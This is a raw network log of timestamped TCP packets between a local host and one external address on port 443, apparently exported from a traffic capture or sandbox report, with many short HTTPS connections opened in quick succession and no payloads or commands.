Aug 15, 2024 08:10:53.670852900 CEST	443	50631	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.681490898 CEST	50632	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.681509972 CEST	443	50632	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.681622028 CEST	50632	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.696497917 CEST	50632	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.696506023 CEST	443	50632	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.696702003 CEST	443	50632	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.704431057 CEST	50633	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.704484940 CEST	443	50633	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.704602957 CEST	50633	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.714077950 CEST	50633	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.714092016 CEST	443	50633	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.714342117 CEST	443	50633	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.721942902 CEST	50634	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.721956015 CEST	443	50634	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.722012997 CEST	50634	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.730895042 CEST	50634	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.730906010 CEST	443	50634	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.731033087 CEST	443	50634	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.738852978 CEST	50635	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.738873959 CEST	443	50635	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.739145041 CEST	50635	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.748231888 CEST	50635	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.748244047 CEST	443	50635	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.748528957 CEST	443	50635	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.753595114 CEST	50636	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.753632069 CEST	443	50636	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.753699064 CEST	50636	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.762882948 CEST	50636	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.762911081 CEST	443	50636	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.763076067 CEST	443	50636	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.771470070 CEST	50637	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.771481991 CEST	443	50637	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.771692991 CEST	50637	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.780662060 CEST	50637	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.780673027 CEST	443	50637	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.780846119 CEST	443	50637	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.785928965 CEST	50638	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.785939932 CEST	443	50638	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.786011934 CEST	50638	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.794867039 CEST	50638	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.794878006 CEST	443	50638	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.795145988 CEST	443	50638	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.801568031 CEST	50639	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.801598072 CEST	443	50639	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.801666021 CEST	50639	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.811309099 CEST	50639	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.811331034 CEST	443	50639	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.811436892 CEST	443	50639	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.817976952 CEST	50640	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.818010092 CEST	443	50640	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.818073034 CEST	50640	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.827099085 CEST	50640	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.827112913 CEST	443	50640	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.827353954 CEST	443	50640	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.833781004 CEST	50641	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.833813906 CEST	443	50641	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.833882093 CEST	50641	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.843107939 CEST	50641	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.843120098 CEST	443	50641	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.843238115 CEST	443	50641	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.849783897 CEST	50642	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.849793911 CEST	443	50642	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.849865913 CEST	50642	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.858092070 CEST	50642	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.858103991 CEST	443	50642	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.858406067 CEST	443	50642	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.865673065 CEST	50643	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.865684986 CEST	443	50643	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.865750074 CEST	50643	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.874322891 CEST	50643	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.874336004 CEST	443	50643	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.874608994 CEST	443	50643	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.883754015 CEST	50644	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.883771896 CEST	443	50644	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.883852959 CEST	50644	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.896852016 CEST	50644	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.896863937 CEST	443	50644	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.897006989 CEST	443	50644	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.903218031 CEST	50645	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.903232098 CEST	443	50645	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.903283119 CEST	50645	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.918420076 CEST	50645	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.918431044 CEST	443	50645	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.918694019 CEST	443	50645	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.926292896 CEST	50646	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.926305056 CEST	443	50646	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.926352978 CEST	50646	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.945132017 CEST	50646	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.945151091 CEST	443	50646	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.945276976 CEST	443	50646	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.953069925 CEST	50647	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.953089952 CEST	443	50647	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.953150988 CEST	50647	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.974770069 CEST	50647	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.974783897 CEST	443	50647	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.974905014 CEST	443	50647	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.983649015 CEST	50648	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:53.983664036 CEST	443	50648	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:53.983715057 CEST	50648	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.031630039 CEST	50648	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.031661987 CEST	443	50648	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.031830072 CEST	443	50648	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.039750099 CEST	50649	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.039791107 CEST	443	50649	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.039865971 CEST	50649	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.052229881 CEST	50649	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.052265882 CEST	443	50649	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.052561998 CEST	443	50649	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.061997890 CEST	50650	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.062022924 CEST	443	50650	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.062089920 CEST	50650	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.072973013 CEST	50650	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.072983980 CEST	443	50650	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.073231936 CEST	443	50650	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.080923080 CEST	50651	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.080960035 CEST	443	50651	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.081022024 CEST	50651	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.090792894 CEST	50651	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.090806007 CEST	443	50651	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.091068029 CEST	443	50651	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.095741987 CEST	50652	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.095762014 CEST	443	50652	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.095967054 CEST	50652	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.104769945 CEST	50652	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.104782104 CEST	443	50652	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.105067015 CEST	443	50652	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.111732960 CEST	50653	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.111743927 CEST	443	50653	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.111813068 CEST	50653	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.121458054 CEST	50653	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.121469021 CEST	443	50653	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.121761084 CEST	443	50653	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.127727985 CEST	50654	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.127736092 CEST	443	50654	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.127798080 CEST	50654	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.137164116 CEST	50654	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.137175083 CEST	443	50654	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.137475967 CEST	443	50654	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.145293951 CEST	50655	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.145303965 CEST	443	50655	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.145369053 CEST	50655	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.154807091 CEST	50655	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.154818058 CEST	443	50655	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.155076027 CEST	443	50655	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.160049915 CEST	50656	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.160135031 CEST	443	50656	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.160424948 CEST	50656	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.168836117 CEST	50656	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.168900967 CEST	443	50656	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.169135094 CEST	443	50656	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.175775051 CEST	50657	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.175868034 CEST	443	50657	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.179891109 CEST	50657	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.189280987 CEST	50657	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.189354897 CEST	443	50657	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.189642906 CEST	443	50657	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.203382015 CEST	50658	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.203461885 CEST	443	50658	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.203546047 CEST	50658	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.220139027 CEST	50658	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.220211029 CEST	443	50658	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.220315933 CEST	443	50658	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.227447033 CEST	50659	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.227525949 CEST	443	50659	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.227823019 CEST	50659	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.240348101 CEST	50659	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.240423918 CEST	443	50659	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.240593910 CEST	443	50659	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.245857000 CEST	50660	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.245939016 CEST	443	50660	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.246020079 CEST	50660	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.257481098 CEST	50660	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.257555008 CEST	443	50660	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.257617950 CEST	443	50660	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.261842012 CEST	50661	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.261975050 CEST	443	50661	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.263475895 CEST	50661	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.272790909 CEST	50661	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.272874117 CEST	443	50661	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.272919893 CEST	443	50661	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.278163910 CEST	50662	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.278243065 CEST	443	50662	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.279464960 CEST	50662	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.292999983 CEST	50662	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.293075085 CEST	443	50662	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.293262005 CEST	443	50662	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.299057961 CEST	50663	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.299135923 CEST	443	50663	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.299452066 CEST	50663	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.312186956 CEST	50663	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.312258005 CEST	443	50663	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.312413931 CEST	443	50663	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.320833921 CEST	50664	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.320914984 CEST	443	50664	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.321293116 CEST	50664	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.331495047 CEST	50664	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.331568956 CEST	443	50664	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.331764936 CEST	443	50664	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.345148087 CEST	50665	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.345227003 CEST	443	50665	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.345300913 CEST	50665	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.357661009 CEST	50665	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.357729912 CEST	443	50665	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.357785940 CEST	443	50665	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.362308025 CEST	50666	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.362386942 CEST	443	50666	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.363627911 CEST	50666	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.373167038 CEST	50666	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.373210907 CEST	443	50666	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.373394012 CEST	443	50666	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.378329992 CEST	50667	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.378412008 CEST	443	50667	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.378499031 CEST	50667	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.390927076 CEST	50667	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.391001940 CEST	443	50667	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.391099930 CEST	443	50667	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.396919966 CEST	50668	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.396998882 CEST	443	50668	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.397092104 CEST	50668	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.410024881 CEST	50668	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.410092115 CEST	443	50668	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.410147905 CEST	443	50668	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.415051937 CEST	50669	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.415131092 CEST	443	50669	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.415306091 CEST	50669	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.427280903 CEST	50669	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.427355051 CEST	443	50669	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.427511930 CEST	443	50669	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.432133913 CEST	50670	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.432213068 CEST	443	50670	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.432339907 CEST	50670	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.442599058 CEST	50670	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.442672968 CEST	443	50670	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.442801952 CEST	443	50670	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.447194099 CEST	50671	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.447273016 CEST	443	50671	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.447365999 CEST	50671	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.458519936 CEST	50671	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.458585978 CEST	443	50671	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.458715916 CEST	443	50671	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.463005066 CEST	50672	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.463085890 CEST	443	50672	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.463176966 CEST	50672	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.473501921 CEST	50672	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.473575115 CEST	443	50672	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.473716021 CEST	443	50672	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.478351116 CEST	50673	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.478430986 CEST	443	50673	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.478509903 CEST	50673	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.492542982 CEST	50673	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.492602110 CEST	443	50673	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.492660046 CEST	443	50673	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.497750998 CEST	50674	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.497852087 CEST	443	50674	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.497934103 CEST	50674	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.510133028 CEST	50674	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.510200024 CEST	443	50674	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.510262966 CEST	443	50674	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.516046047 CEST	50675	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.516124010 CEST	443	50675	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.516221046 CEST	50675	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.528419971 CEST	50675	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.528518915 CEST	443	50675	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.528615952 CEST	443	50675	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.532929897 CEST	50676	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.533010960 CEST	443	50676	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.533431053 CEST	50676	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.542277098 CEST	50676	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.542337894 CEST	443	50676	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.542459011 CEST	443	50676	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.546720028 CEST	50677	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.546797991 CEST	443	50677	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.548002005 CEST	50677	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.557123899 CEST	50677	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.557194948 CEST	443	50677	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.557416916 CEST	443	50677	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.562294006 CEST	50678	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.562403917 CEST	443	50678	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.563935995 CEST	50678	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.573101997 CEST	50678	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.573177099 CEST	443	50678	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.573385000 CEST	443	50678	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.578159094 CEST	50679	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.578236103 CEST	443	50679	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.580125093 CEST	50679	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.589024067 CEST	50679	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.589097023 CEST	443	50679	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.589250088 CEST	443	50679	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.593568087 CEST	50680	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.593645096 CEST	443	50680	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.595462084 CEST	50680	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.604617119 CEST	50680	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.604687929 CEST	443	50680	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.604861975 CEST	443	50680	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.609728098 CEST	50681	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.609806061 CEST	443	50681	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.611740112 CEST	50681	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.621184111 CEST	50681	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.621252060 CEST	443	50681	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.621315956 CEST	443	50681	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.625550985 CEST	50682	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.625612974 CEST	443	50682	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.627993107 CEST	50682	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.637186050 CEST	50682	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.637247086 CEST	443	50682	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.637343884 CEST	443	50682	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.641710043 CEST	50683	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.641788006 CEST	443	50683	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.642906904 CEST	50683	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.656135082 CEST	50683	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.656208992 CEST	443	50683	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.656514883 CEST	443	50683	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.671217918 CEST	50684	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.671298981 CEST	443	50684	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.671504021 CEST	50684	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.699017048 CEST	50684	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.699081898 CEST	443	50684	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.699181080 CEST	443	50684	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.708611012 CEST	50685	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.708689928 CEST	443	50685	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.708826065 CEST	50685	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.740362883 CEST	50685	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.740468025 CEST	443	50685	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.740592957 CEST	443	50685	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.770703077 CEST	50686	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.770781994 CEST	443	50686	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.771435022 CEST	50686	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.815289021 CEST	50686	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.815356016 CEST	443	50686	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.815629959 CEST	443	50686	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:54.826539040 CEST	50687	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:54.826653957 CEST	443	50687	94.141.120.29	192.168.2.4
